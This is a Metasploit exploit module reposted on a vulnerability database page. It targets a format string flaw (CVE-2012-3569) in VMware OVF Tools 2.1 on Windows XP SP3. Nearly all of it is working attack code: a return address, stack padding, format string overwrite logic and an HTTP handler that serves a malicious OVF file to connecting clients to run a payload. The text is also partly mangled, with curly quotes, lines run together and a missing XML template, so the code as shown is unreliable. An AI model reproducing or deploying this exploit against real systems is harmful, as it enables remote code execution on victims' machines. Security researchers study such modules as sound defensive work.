ZeroBox Vulnerability Database

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require ‘msf/core’

class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => ‘VMWare OVF Tools Format String Vulnerability’,
‘Description’ => %q{
This module exploits a format string vulnerability in VMWare OVF Tools 2.1 for
Windows. The vulnerability occurs when printing error messages while parsing a
a malformed OVF file. The module has been tested successfully with VMWare OVF Tools
2.1 on Windows XP SP3.
},
‘License’ => MSF_LICENSE,
‘Author’ =>
[
‘Jeremy Brown’, # Vulnerability discovery
‘juan vazquez’ # Metasploit Module
],
‘References’ =>
[
[ ‘CVE’, ‘2012-3569’ ],
[ ‘OSVDB’, ‘87117’ ],
[ ‘BID’, ‘56468’ ],
[ ‘URL’, ‘http://www.vmware.com/security/advisories/VMSA-2012-0015.html’ ]
],
‘Payload’ =>
{
‘DisableNops’ => true,
‘BadChars’ =>
(0x00..0x08).to_a.pack(“C*”) +
“\x0b\x0c\x0e\x0f” +
(0x10..0x1f).to_a.pack(“C*”) +
(0x80..0xff).to_a.pack(“C*”) +
“\x22”,
‘StackAdjustment’ => -3500,
‘PrependEncoder’ => “\x54\x59”, # push esp # pop ecx
‘EncoderOptions’ =>
{
‘BufferRegister’ => ‘ECX’,
‘BufferOffset’ => 6
}
},
‘DefaultOptions’ =>
{
‘InitialAutoRunScript’ => ‘migrate -f’
},
‘Platform’ => ‘win’,
‘Targets’ =>
[
# vmware-ovftool-2.1.0-467744-win-i386.msi
[ ‘VMWare OVF Tools 2.1 on Windows XP SP3’,
{
‘Ret’ => 0x7852753d, # call esp # MSVCR90.dll 9.00.30729.4148 installed with VMware OVF Tools 2.1
‘AddrPops’ => 98,
‘StackPadding’ => 38081,
‘Alignment’ => 4096
}
],
],
‘Privileged’ => false,
‘DisclosureDate’ => ‘Nov 08 2012’,
‘DefaultTarget’ => 0))

end

def ovf
my_payload = rand_text_alpha(4) # ebp
my_payload << [target.ret].pack("V") # eip # call esp my_payload << payload.encoded fs = rand_text_alpha(target['StackPadding']) # Padding until address aligned to 0x10000 (for example 0x120000) fs << rand_text_alpha(target['Alignment']) # Align to 0x11000 fs << my_payload # 65536 => 0x10000
# 27 => Error message prefix length
fs << rand_text_alpha(65536 - 27 - target['StackPadding'] - target['Alignment'] - my_payload.length - (target['AddrPops'] * 8)) fs << "%08x" * target['AddrPops'] # Reach saved EBP fs << "%hn" # Overwrite LSW of saved EBP with 0x1000 ovf_file = <<-EOF





Virtual disk information



A virtual machine


EOF
ovf_file
end

def on_request_uri(cli, request)
agent = request.headers[‘User-Agent’]
uri = request.uri

if agent !~ /VMware-client/ or agent !~ /ovfTool/
print_status(“User agent #{agent} not recognized, answering Not Found…”)
send_not_found(cli)
end

if uri =~ /.mf$/
# The manifest file isn’t required
print_status(“Sending Not Found for Manifest file request…”)
send_not_found(cli)
end

print_status(“Sending OVF exploit…”)
send_response(cli, ovf, {‘Content-Type’=>’text/xml’})
end

end